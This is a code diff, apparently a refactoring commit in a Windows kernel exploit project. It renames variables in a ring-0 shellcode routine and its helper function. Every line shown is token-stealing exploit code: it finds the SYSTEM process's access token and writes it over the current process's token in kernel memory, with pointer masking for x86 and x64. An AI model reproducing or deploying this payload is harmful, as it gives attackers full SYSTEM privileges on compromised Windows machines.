@@ -137,28 +137,27 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
137
137
138
138
139
139
// Search the specified data structure for a member with CurrentValue.
140
- BOOL find_and_replace_member (PDWORD Structure ,
141
- DWORD CurrentValue ,
142
- DWORD NewValue ,
143
- DWORD MaxSize )
140
+ BOOL find_and_replace_member (PDWORD pdwStructure , DWORD dwCurrentValue , DWORD dwNewValue , DWORD dwMaxSize )
144
141
{
145
- DWORD i , Mask ;
142
+ DWORD dwIndex , dwMask ;
146
143
147
144
// Microsoft QWORD aligns object pointers, then uses the lower three
148
145
// bits for quick reference counting.
149
146
#ifdef _M_X64
150
- Mask = ~0xf ;
147
+ dwMask = ~0xf ;
151
148
#else
152
- Mask = ~7 ;
149
+ dwMask = ~7 ;
153
150
#endif
154
- // Mask out the reference count.
155
- CurrentValue &= Mask ;
151
+ // dwMask out the reference count.
152
+ dwCurrentValue &= dwMask ;
156
153
157
- // Scan the structure for any occurrence of CurrentValue.
158
- for (i = 0 ; i < MaxSize ; i ++ ) {
159
- if ((Structure [i ] & Mask ) == CurrentValue ) {
154
+ // Scan the structure for any occurrence of dwCurrentValue.
155
+ for (dwIndex = 0 ; dwIndex < dwMaxSize ; dwIndex ++ )
156
+ {
157
+ if ((pdwStructure [dwIndex ] & dwMask ) == dwCurrentValue )
158
+ {
160
159
// And finally, replace it with NewValue.
161
- Structure [ i ] = NewValue ;
160
+ pdwStructure [ dwIndex ] = dwNewValue ;
162
161
return TRUE;
163
162
}
164
163
}
@@ -171,19 +170,19 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
171
170
{
172
171
void * pMyProcessInfo = NULL ;
173
172
void * pSystemInfo = NULL ;
174
- PACCESS_TOKEN SystemToken ;
175
- PACCESS_TOKEN TargetToken ;
173
+ PACCESS_TOKEN systemToken ;
174
+ PACCESS_TOKEN targetToken ;
176
175
177
176
pPsLookupProcessByProcessId ((HANDLE )dwMyProcessId , & pMyProcessInfo );
178
177
pPsLookupProcessByProcessId ((HANDLE )4 , & pSystemInfo );
179
178
180
- TargetToken = pPsReferencePrimaryToken (pMyProcessInfo );
181
- SystemToken = pPsReferencePrimaryToken (pSystemInfo );
179
+ targetToken = pPsReferencePrimaryToken (pMyProcessInfo );
180
+ systemToken = pPsReferencePrimaryToken (pSystemInfo );
182
181
183
182
// Find the token in the target process, and replace with the system token.
184
183
find_and_replace_member ((PDWORD )pMyProcessInfo ,
185
- (DWORD )TargetToken ,
186
- (DWORD )SystemToken ,
184
+ (DWORD )targetToken ,
185
+ (DWORD )systemToken ,
187
186
0x200 );
188
187
return 0 ;
189
188
}
0 commit comments